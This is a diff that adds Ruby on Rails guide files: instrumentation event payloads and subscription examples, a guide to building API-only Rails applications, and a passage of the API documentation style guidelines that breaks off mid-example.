+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### read_fragment.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### expire_fragment.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### exist_fragment?.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+  key: 'posts/1-dashboard-view'
+}
+```
+
+### write_page.action_controller
+
+| Key     | Value             |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+  path: '/users/1'
+}
+```
+
+### expire_page.action_controller
+
+| Key     | Value             |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+  path: '/users/1'
+}
+```
+
+### start_processing.action_controller
+
+| Key           | Value                                                     |
+| ------------- | --------------------------------------------------------- |
+| `:controller` | The controller name                                       |
+| `:action`     | The action                                                |
+| `:params`     | Hash of request parameters without any filtered parameter |
+| `:headers`    | Request headers                                           |
+| `:format`     | html/js/json/xml etc                                      |
+| `:method`     | HTTP request verb                                         |
+| `:path`       | Request path                                              |
+
+```ruby
+{
+  controller: "PostsController",
+  action: "new",
+  params: { "action" => "new", "controller" => "posts" },
+  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
+  format: :html,
+  method: "GET",
+  path: "/posts/new"
+}
+```
+
+### process_action.action_controller
+
+| Key             | Value                                                     |
+| --------------- | --------------------------------------------------------- |
+| `:controller`   | The controller name                                       |
+| `:action`       | The action                                                |
+| `:params`       | Hash of request parameters without any filtered parameter |
+| `:headers`      | Request headers                                           |
+| `:format`       | html/js/json/xml etc                                      |
+| `:method`       | HTTP request verb                                         |
+| `:path`         | Request path                                              |
+| `:status`       | HTTP status code                                          |
+| `:view_runtime` | Amount spent in view in ms                                |
+| `:db_runtime`   | Amount spent executing database queries in ms             |
+
+```ruby
+{
+  controller: "PostsController",
+  action: "index",
+  params: {"action" => "index", "controller" => "posts"},
+  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
+  format: :html,
+  method: "GET",
+  path: "/posts",
+  status: 200,
+  view_runtime: 46.848,
+  db_runtime: 0.157
+}
+```
+
+### send_file.action_controller
+
+| Key     | Value                     |
+| ------- | ------------------------- |
+| `:path` | Complete path to the file |
+
+INFO. Additional keys may be added by the caller.
+
+### send_data.action_controller
+
+`ActionController` does not had any specific information to the payload. All options are passed through to the payload.
+
+### redirect_to.action_controller
+
+| Key         | Value              |
+| ----------- | ------------------ |
+| `:status`   | HTTP response code |
+| `:location` | URL to redirect to |
+
+```ruby
+{
+  status: 302,
+  location: "http://localhost:3000/posts/new"
+}
+```
+
+### halted_callback.action_controller
+
+| Key       | Value                         |
+| --------- | ----------------------------- |
+| `:filter` | Filter that halted the action |
+
+```ruby
+{
+  filter: ":halting_filter"
+}
+```
+
+Action View
+-----------
+
+### render_template.action_view
+
+| Key           | Value                 |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+| `:layout`     | Applicable layout     |
+
+```ruby
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  layout: "layouts/application"
+}
+```
+
+### render_partial.action_view
+
+| Key           | Value                 |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+
+```ruby
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
+}
+```
+
+### render_collection.action_view
+
+| Key           | Value                                 |
+| ------------- | ------------------------------------- |
+| `:identifier` | Full path to template                 |
+| `:count`      | Size of collection                    |
+| `:cache_hits` | Number of partials fetched from cache |
+
+`:cache_hits` is only included if the collection is rendered with `cached: true`.
+
+```ruby
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
+  count: 3,
+  cache_hits: 0
+}
+```
+
+Active Record
+------------
+
+### sql.active_record
+
+| Key              | Value                                    |
+| ---------------- | ---------------------------------------- |
+| `:sql`           | SQL statement                            |
+| `:name`          | Name of the operation                    |
+| `:connection_id` | `self.object_id`                         |
+| `:binds`         | Bind parameters                          |
+| `:cached`        | `true` is added when cached queries used |
+
+INFO. The adapters will add their own data as well.
+
+```ruby
+{
+  sql: "SELECT \"posts\".* FROM \"posts\" ",
+  name: "Post Load",
+  connection_id: 70307250813140,
+  binds: []
+}
+```
+
+### instantiation.active_record
+
+| Key              | Value                                     |
+| ---------------- | ----------------------------------------- |
+| `:record_count`  | Number of records that instantiated       |
+| `:class_name`    | Record's class                            |
+
+```ruby
+{
+  record_count: 1,
+  class_name: "User"
+}
+```
+
+Action Mailer
+-------------
+
+### receive.action_mailer
+
+| Key           | Value                                        |
+| ------------- | -------------------------------------------- |
+| `:mailer`     | Name of the mailer class                     |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject`    | Subject of the mail                          |
+| `:to`         | To address(es) of the mail                   |
+| `:from`       | From address of the mail                     |
+| `:bcc`        | BCC addresses of the mail                    |
+| `:cc`         | CC addresses of the mail                     |
+| `:date`       | Date of the mail                             |
+| `:mail`       | The encoded form of the mail                 |
+
+```ruby
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # omitted for brevity
+}
+```
+
+### deliver.action_mailer
+
+| Key           | Value                                        |
+| ------------- | -------------------------------------------- |
+| `:mailer`     | Name of the mailer class                     |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject`    | Subject of the mail                          |
+| `:to`         | To address(es) of the mail                   |
+| `:from`       | From address of the mail                     |
+| `:bcc`        | BCC addresses of the mail                    |
+| `:cc`         | CC addresses of the mail                     |
+| `:date`       | Date of the mail                             |
+| `:mail`       | The encoded form of the mail                 |
+
+```ruby
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # omitted for brevity
+}
+```
+
+Active Support
+--------------
+
+### cache_read.active_support
+
+| Key                | Value                                             |
+| ------------------ | ------------------------------------------------- |
+| `:key`             | Key used in the store                             |
+| `:hit`             | If this read is a hit                             |
+| `:super_operation` | :fetch is added when a read is used with `#fetch` |
+
+### cache_generate.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload when writing to the store
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+
+### cache_fetch_hit.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload.
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+### cache_write.active_support
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Cache stores may add their own keys
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+### cache_delete.active_support
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+### cache_exist?.active_support
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+Active Job
+--------
+
+### enqueue_at.active_job
+
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:job`       | Job object                             |
+
+### enqueue.active_job
+
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:job`       | Job object                             |
+
+### perform_start.active_job
+
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:job`       | Job object                             |
+
+### perform.active_job
+
+| Key          | Value                                  |
+| ------------ | -------------------------------------- |
+| `:adapter`   | QueueAdapter object processing the job |
+| `:job`       | Job object                             |
+
+
+Railties
+--------
+
+### load_config_initializer.railties
+
+| Key            | Value                                                 |
+| -------------- | ----------------------------------------------------- |
+| `:initializer` | Path to loaded initializer from `config/initializers` |
+
+Rails
+-----
+
+### deprecation.rails
+
+| Key          | Value                           |
+| ------------ | ------------------------------- |
+| `:message`   | The deprecation warning         |
+| `:callstack` | Where the deprecation came from |
+
+Subscribing to an event
+-----------------------
+
+Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to
+listen to any notification.
+
+The block receives the following arguments:
+
+* The name of the event
+* Time when it started
+* Time when it finished
+* A unique ID for this event
+* The payload (described in previous sections)
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+  # your own custom stuff
+  Rails.logger.info "#{name} Received!"
+end
+```
+
+Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
+from block arguments like this:
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  event = ActiveSupport::Notifications::Event.new *args
+
+  event.name      # => "process_action.action_controller"
+  event.duration  # => 10 (in milliseconds)
+  event.payload   # => {:extra=>information}
+
+  Rails.logger.info "#{event} Received!"
+end
+```
+
+Most times you only care about the data itself. Here is a shortcut to just get the data.
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  data = args.extract_options!
+  data # { extra: :information }
+end
+```
+
+You may also subscribe to events matching a regular expression. This enables you to subscribe to
+multiple events at once. Here's you could subscribe to everything from `ActionController`.
+
+```ruby
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+  # inspect all ActionController events
+end
+```
+
+Creating custom events
+----------------------
+
+Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
+all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
+The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
+as well as the unique ID. All data passed into the `instrument` call will make it into the payload.
+
+Here's an example:
+
+```ruby
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+  # do your custom stuff here
+end
+```
+
+Now you can listen to this event with:
+
+```ruby
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # {:this=>:data}
+end
+```
+
+You should follow Rails conventions when defining your own events. The format is: `event.library`.
+If you application is sending Tweets, you should create an event named `tweet.twitter`.
diff --git a/guides/source/api_app.md b/guides/source/api_app.md
new file mode 100644
index 0000000000..64200ec242
--- /dev/null
+++ b/guides/source/api_app.md
@@ -0,0 +1,426 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+
+Using Rails for API-only Applications
+=====================================
+
+In this guide you will learn:
+
+* What Rails provides for API-only applications
+* How to configure Rails to start without any browser features
+* How to decide which middleware you will want to include
+* How to decide which modules to use in your controller
+
+--------------------------------------------------------------------------------
+
+What is an API Application?
+---------------------------
+
+Traditionally, when people said that they used Rails as an "API", they meant
+providing a programmatically accessible API alongside their web application.
+For example, GitHub provides [an API](http://developer.github.com) that you
+can use from your own custom clients.
+
+With the advent of client-side frameworks, more developers are using Rails to
+build a back-end that is shared between their web application and other native
+applications.
+
+For example, Twitter uses its [public API](https://dev.twitter.com) in its web
+application, which is built as a static site that consumes JSON resources.
+
+Instead of using Rails to generate HTML that communicates with the server
+through forms and links, many developers are treating their web application as
+just an API client delivered as HTML with JavaScript that consumes a JSON API.
+
+This guide covers building a Rails application that serves JSON resources to an
+API client, including client-side frameworks.
+
+Why Use Rails for JSON APIs?
+----------------------------
+
+The first question a lot of people have when thinking about building a JSON API
+using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I
+just use something like Sinatra?".
+
+For very simple APIs, this may be true. However, even in very HTML-heavy
+applications, most of an application's logic lives outside of the view
+layer.
+
+The reason most people use Rails is that it provides a set of defaults that
+allows developers to get up and running quickly, without having to make a lot of trivial
+decisions.
+
+Let's take a look at some of the things that Rails provides out of the box that are
+still applicable to API applications.
+
+Handled at the middleware layer:
+
+- Reloading: Rails applications support transparent reloading. This works even if
+  your application gets big and restarting the server for every request becomes
+  non-viable.
+- Development Mode: Rails applications come with smart defaults for development,
+  making development pleasant without compromising production-time performance.
+- Test Mode: Ditto development mode.
+- Logging: Rails applications log every request, with a level of verbosity
+  appropriate for the current mode. Rails logs in development include information
+  about the request environment, database queries, and basic performance
+  information.
+- Security: Rails detects and thwarts [IP spoofing
+  attacks](http://en.wikipedia.org/wiki/IP_address_spoofing) and handles
+  cryptographic signatures in a [timing
+  attack](http://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what
+  an IP spoofing attack or a timing attack is? Exactly.
+- Parameter Parsing: Want to specify your parameters as JSON instead of as a
+  URL-encoded String? No problem. Rails will decode the JSON for you and make
+  it available in `params`. Want to use nested URL-encoded parameters? That
+  works too.
+- Conditional GETs: Rails handles conditional `GET` (`ETag` and `Last-Modified`)
+  processing request headers and returning the correct response headers and status
+  code. All you need to do is use the
+  [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F)
+  check in your controller, and Rails will handle all of the HTTP details for you.
+- HEAD requests: Rails will transparently convert `HEAD` requests into `GET` ones,
+  and return just the headers on the way out. This makes `HEAD` work reliably in
+  all Rails APIs.
+
+While you could obviously build these up in terms of existing Rack middleware,
+this list demonstrates that the default Rails middleware stack provides a lot
+of value, even if you're "just generating JSON".
+
+Handled at the Action Pack layer:
+
+- Resourceful Routing: If you're building a RESTful JSON API, you want to be
+  using the Rails router. Clean and conventional mapping from HTTP to controllers
+  means not having to spend time thinking about how to model your API in terms
+  of HTTP.
+- URL Generation: The flip side of routing is URL generation. A good API based
+  on HTTP includes URLs (see [the GitHub Gist API](http://developer.github.com/v3/gists/)
+  for an example).
+- Header and Redirection Responses: `head :no_content` and
+  `redirect_to user_url(current_user)` come in handy. Sure, you could manually
+  add the response headers, but why?
+- Caching: Rails provides page, action and fragment caching. Fragment caching
+  is especially helpful when building up a nested JSON object.
+- Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support
+  for three kinds of HTTP authentication.
+- Instrumentation: Rails has an instrumentation API that triggers registered
+  handlers for a variety of events, such as action processing, sending a file or
+  data, redirection, and database queries. The payload of each event comes with
+  relevant information (for the action processing event, the payload includes
+  the controller, action, parameters, request format, request method and the
+  request's full path).
+- Generators: It is often handy to generate a resource and get your model,
+  controller, test stubs, and routes created for you in a single command for
+  further tweaking. Same for migrations and others.
+- Plugins: Many third-party libraries come with support for Rails that reduce
+  or eliminate the cost of setting up and gluing together the library and the
+  web framework. This includes things like overriding default generators, adding
+  Rake tasks, and honoring Rails choices (like the logger and cache back-end).
+
+Of course, the Rails boot process also glues together all registered components.
+For example, the Rails boot process is what uses your `config/database.yml` file
+when configuring Active Record.
+
+**The short version is**: you may not have thought about which parts of Rails
+are still applicable even if you remove the view layer, but the answer turns out
+to be most of it.
+
+The Basic Configuration
+-----------------------
+
+If you're building a Rails application that will be an API server first and
+foremost, you can start with a more limited subset of Rails and add in features
+as needed.
+
+### Creating a new application
+
+You can generate a new api Rails app:
+
+```bash
+$ rails new my_api --api
+```
+
+This will do three main things for you:
+
+- Configure your application to start with a more limited set of middleware
+  than normal. Specifically, it will not include any middleware primarily useful
+  for browser applications (like cookies support) by default.
+- Make `ApplicationController` inherit from `ActionController::API` instead of
+  `ActionController::Base`. As with middleware, this will leave out any Action
+  Controller modules that provide functionalities primarily used by browser
+  applications.
+- Configure the generators to skip generating views, helpers and assets when
+  you generate a new resource.
+
+### Changing an existing application
+
+If you want to take an existing application and make it an API one, read the
+following steps.
+
+In `config/application.rb` add the following line at the top of the `Application`
+class definition:
+
+```ruby
+config.api_only = true
+```
+
+In `config/environments/development.rb`, set `config.debug_exception_response_format`
+to configure the format used in responses when errors occur in development mode.
+
+To render an HTML page with debugging information, use the value `:default`.
+
+```ruby
+config.debug_exception_response_format = :default
+```
+
+To render debugging information preserving the response format, use the value `:api`.
+
+```ruby
+config.debug_exception_response_format = :api
+```
+
+By default, `config.debug_exception_response_format` is set to `:api`, when `config.api_only` is set to true.
+
+Finally, inside `app/controllers/application_controller.rb`, instead of:
+
+```ruby
+class ApplicationController < ActionController::Base
+end
+```
+
+do:
+
+```ruby
+class ApplicationController < ActionController::API
+end
+```
+
+Choosing Middleware
+--------------------
+
+An API application comes with the following middleware by default:
+
+- `Rack::Sendfile`
+- `ActionDispatch::Static`
+- `ActionDispatch::Executor`
+- `ActiveSupport::Cache::Strategy::LocalCache::Middleware`
+- `Rack::Runtime`
+- `ActionDispatch::RequestId`
+- `ActionDispatch::RemoteIp`
+- `Rails::Rack::Logger`
+- `ActionDispatch::ShowExceptions`
+- `ActionDispatch::DebugExceptions`
+- `ActionDispatch::Reloader`
+- `ActionDispatch::Callbacks`
+- `ActiveRecord::Migration::CheckPending`
+- `Rack::Head`
+- `Rack::ConditionalGet`
+- `Rack::ETag`
+- `MyApi::Application::Routes`
+
+See the [internal middleware](rails_on_rack.html#internal-middleware-stack)
+section of the Rack guide for further information on them.
+
+Other plugins, including Active Record, may add additional middleware. In
+general, these middleware are agnostic to the type of application you are
+building, and make sense in an API-only Rails application.
+
+You can get a list of all middleware in your application via:
+
+```bash
+$ rails middleware
+```
+
+### Using the Cache Middleware
+
+By default, Rails will add a middleware that provides a cache store based on
+the configuration of your application (memcache by default). This means that
+the built-in HTTP cache will rely on it.
+
+For instance, using the `stale?` method:
+
+```ruby
+def show
+  @post = Post.find(params[:id])
+
+  if stale?(last_modified: @post.updated_at)
+    render json: @post
+  end
+end
+```
+
+The call to `stale?` will compare the `If-Modified-Since` header in the request
+with `@post.updated_at`. If the header is newer than the last modified, this
+action will return a "304 Not Modified" response. Otherwise, it will render the
+response and include a `Last-Modified` header in it.
+
+Normally, this mechanism is used on a per-client basis. The cache middleware
+allows us to share this caching mechanism across clients. We can enable
+cross-client caching in the call to `stale?`:
+
+```ruby
+def show
+  @post = Post.find(params[:id])
+
+  if stale?(last_modified: @post.updated_at, public: true)
+    render json: @post
+  end
+end
+```
+
+This means that the cache middleware will store off the `Last-Modified` value
+for a URL in the Rails cache, and add an `If-Modified-Since` header to any
+subsequent inbound requests for the same URL.
+
+Think of it as page caching using HTTP semantics.
+
+### Using Rack::Sendfile
+
+When you use the `send_file` method inside a Rails controller, it sets the
+`X-Sendfile` header. `Rack::Sendfile` is responsible for actually sending the
+file.
+
+If your front-end server supports accelerated file sending, `Rack::Sendfile`
+will offload the actual file sending work to the front-end server.
+
+You can configure the name of the header that your front-end server uses for
+this purpose using `config.action_dispatch.x_sendfile_header` in the appropriate
+environment's configuration file.
+
+You can learn more about how to use `Rack::Sendfile` with popular
+front-ends in [the Rack::Sendfile
+documentation](http://rubydoc.info/github/rack/rack/master/Rack/Sendfile).
+
+Here are some values for this header for some popular servers, once these servers are configured to support
+accelerated file sending:
+
+```ruby
+# Apache and lighttpd
+config.action_dispatch.x_sendfile_header = "X-Sendfile"
+
+# Nginx
+config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"
+```
+
+Make sure to configure your server to support these options following the
+instructions in the `Rack::Sendfile` documentation.
+
+### Using ActionDispatch::Request
+
+`ActionDispatch::Request#params` will take parameters from the client in the JSON
+format and make them available in your controller inside `params`.
+
+To use this, your client will need to make a request with JSON-encoded parameters
+and specify the `Content-Type` as `application/json`.
+
+Here's an example in jQuery:
+
+```javascript
+jQuery.ajax({
+  type: 'POST',
+  url: '/people',
+  dataType: 'json',
+  contentType: 'application/json',
+  data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
+  success: function(json) { }
+});
+```
+
+`ActionDispatch::Request` will see the `Content-Type` and your parameters
+will be:
+
+```ruby
+{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }
+```
+
+### Other Middleware
+
+Rails ships with a number of other middleware that you might want to use in an
+API application, especially if one of your API clients is the browser:
+
+- `Rack::MethodOverride`
+- `ActionDispatch::Cookies`
+- `ActionDispatch::Flash`
+- For session management
+    * `ActionDispatch::Session::CacheStore`
+    * `ActionDispatch::Session::CookieStore`
+    * `ActionDispatch::Session::MemCacheStore`
+
+Any of these middleware can be added via:
+
+```ruby
+config.middleware.use Rack::MethodOverride
+```
+
+### Removing Middleware
+
+If you don't want to use a middleware that is included by default in the API-only
+middleware set, you can remove it with:
+
+```ruby
+config.middleware.delete ::Rack::Sendfile
+```
+
+Keep in mind that removing these middlewares will remove support for certain
+features in Action Controller.
+
+Choosing Controller Modules
+---------------------------
+
+An API application (using `ActionController::API`) comes with the following
+controller modules by default:
+
+- `ActionController::UrlFor`: Makes `url_for` and similar helpers available.
+- `ActionController::Redirecting`: Support for `redirect_to`.
+- `AbstractController::Rendering` and `ActionController::ApiRendering`: Basic support for rendering.
+- `ActionController::Renderers::All`: Support for `render :json` and friends.
+- `ActionController::ConditionalGet`: Support for `stale?`.
+- `ActionController::BasicImplicitRender`: Makes sure to return an empty response, if there isn't an explicit one.
+- `ActionController::StrongParameters`: Support for parameters white-listing in combination with Active Model mass assignment.
+- `ActionController::ForceSSL`: Support for `force_ssl`.
+- `ActionController::DataStreaming`: Support for `send_file` and `send_data`.
+- `AbstractController::Callbacks`: Support for `before_action` and
+  similar helpers.
+- `ActionController::Rescue`: Support for `rescue_from`.
+- `ActionController::Instrumentation`: Support for the instrumentation
+  hooks defined by Action Controller (see [the instrumentation
+  guide](active_support_instrumentation.html#action-controller) for
+more information regarding this).
+- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash,
+  so that you don't have to specify root elements sending POST requests for instance.
+- `ActionController::Head`: Support for returning a response with no content, only headers
+
+Other plugins may add additional modules. You can get a list of all modules
+included into `ActionController::API` in the rails console:
+
+```bash
+$ bin/rails c
+>> ActionController::API.ancestors - ActionController::Metal.ancestors
+=> [ActionController::API,
+    ActiveRecord::Railties::ControllerRuntime,
+    ActionDispatch::Routing::RouteSet::MountedHelpers,
+    ActionController::ParamsWrapper,
+    ... ,
+    AbstractController::Rendering,
+    ActionView::ViewPaths]
+```
+
+### Adding Other Modules
+
+All Action Controller modules know about their dependent modules, so you can feel
+free to include any modules into your controllers, and all dependencies will be
+included and set up as well.
+
+Some common modules you might want to add:
+
+- `AbstractController::Translation`: Support for the `l` and `t` localization
+  and translation methods.
+- `ActionController::HttpAuthentication::Basic` (or `Digest` or `Token`): Support
+  for basic, digest or token HTTP authentication.
+- `ActionView::Layouts`: Support for layouts when rendering.
+- `ActionController::MimeResponds`: Support for `respond_to`.
+- `ActionController::Cookies`: Support for `cookies`, which includes
+  support for signed and encrypted cookies. This requires the cookies middleware.
+
+The best place to add a module is in your `ApplicationController`, but you can
+also add modules to individual controllers.
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
new file mode 100644
index 0000000000..c3c7367304
--- /dev/null
+++ b/guides/source/api_documentation_guidelines.md
@@ -0,0 +1,366 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+API Documentation Guidelines
+============================
+
+This guide documents the Ruby on Rails API documentation guidelines.
+
+After reading this guide, you will know:
+
+* How to write effective prose for documentation purposes.
+* Style guidelines for documenting different kinds of Ruby code.
+
+--------------------------------------------------------------------------------
+
+RDoc
+----
+
+The [Rails API documentation](http://api.rubyonrails.org) is generated with
+[RDoc](http://docs.seattlerb.org/rdoc/). To generate it, make sure you are
+in the rails root directory, run `bundle install` and execute:
+
+```bash
+  bundle exec rake rdoc
+```
+
+Resulting HTML files can be found in the ./doc/rdoc directory.
+
+Please consult the RDoc documentation for help with the
+[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html),
+and also take into account these [additional
+directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html).
+
+Wording
+-------
+
+Write simple, declarative sentences. Brevity is a plus: get to the point.
+
+Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
+
+Start comments in upper case. Follow regular punctuation rules:
+
+```ruby
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+```
+
+Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
+
+Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
+
+The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+
+Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+
+Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+
+Prefer wordings that avoid "you"s and "your"s. For example, instead of
+
+```markdown
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```
+
+use this style:
+
+```markdown
+If `return` is needed it is recommended to explicitly define a method.
+```
+
+That said, when using pronouns in reference to a hypothetical person, such as "a
+user with a session cookie", gender neutral pronouns (they/their/them) should be
+used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
+English
+-------
+
+Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+
+Oxford Comma
+------------
+
+Please use the [Oxford comma](http://en.wikipedia.org/wiki/Serial_comma)
+("red, white, and blue", instead of "red, white and blue").
+
+Example Code
+------------
+
+Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
+
+Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
+
+Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
+
+```ruby
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+```
+
+On the other hand, big chunks of structured documentation may have a separate "Examples" section:
+
+```ruby
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(name: "David")
+#   Person.exists?(['name LIKE ?', "%#{query}%"])
+```
+
+The results of expressions follow them and are introduced by "# => ", vertically aligned:
+
+```ruby
+# For checking if an integer is even or odd.
+#
+#   1.even? # => false
+#   1.odd?  # => true
+#   2.even? # => true
+#   2.odd?  # => false
+```
+
+If a line is too long, the comment may be placed on the next line:
+
+```ruby
+#   label(:article, :title)
+#   # => <label for="article_title">Title</label>
+#
+#   label(:article, :title, "A short title")
+#   # => <label for="article_title">A short title</label>
+#
+#   label(:article, :title, "A short title", class: "title_label")
+#   # => <label for="article_title" class="title_label">A short title</label>
+```
+
+Avoid using any printing methods like `puts` or `p` for that purpose.
+
+On the other hand, regular comments do not use an arrow:
+
+```ruby
+#   polymorphic_url(record)  # same as comment_url(record)
+```
+
+Booleans
+--------
+
+In predicates and flags prefer documenting boolean semantics over exact values.
+
+When "true" or "false" are used as defined in Ruby use regular font. The
+singletons `true` and `false` need fixed-width font. Please avoid terms like
+"truthy", Ruby defines what is true and false in the language, and thus those
+words have a technical meaning and need no substitutes.
+
+As a rule of thumb, do not document singletons unless absolutely necessary. That
+prevents artificial constructs like `!!` or ternaries, allows refactors, and the
+code does not need to rely on the exact values returned by methods being called
+in the implementation.
+
+For example:
+
+```markdown
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+```
+
+the user does not need to know which is the actual default value of the flag,
+and so we only document its boolean semantics.
+
+An example with a predicate:
+
+```ruby
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+  if loaded?
+    size.zero?
+  else
+    @target.blank? && !scope.exists?
+  end
+end
+```
+
+The API is careful not to commit to any particular value, the method has
+predicate semantics, that's enough.
+
+File Names
+----------
+
+As a rule of thumb, use filenames relative to the application root:
+
+```
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+```
+
+Fonts
+-----
+
+### Fixed-width Font
+
+Use fixed-width fonts for:
+
+* Constants, in particular class and module names.
+* Method names.
+* Literals like `nil`, `false`, `true`, `self`.
+* Symbols.
+* Method parameters.
+* File names.
+
+```ruby
+class Array
+  # Calls +to_param+ on all its elements and joins the result with
+  # slashes. This is used by +url_for+ in Action Pack.
+  def to_param
+    collect { |e| e.to_param }.join '/'
+  end
+end
+```
+
+WARNING: Using `+...+` for fixed-width font only works with simple content like
+ordinary method names, symbols, paths (with forward slashes), etc. Please use
+`<tt>...</tt>` for everything else, notably class or module names with a
+namespace as in `<tt>ActiveRecord::Base</tt>`.
+
+You can quickly test the RDoc output with the following command:
+
+```
+$ echo "+:to_param+" | rdoc --pipe
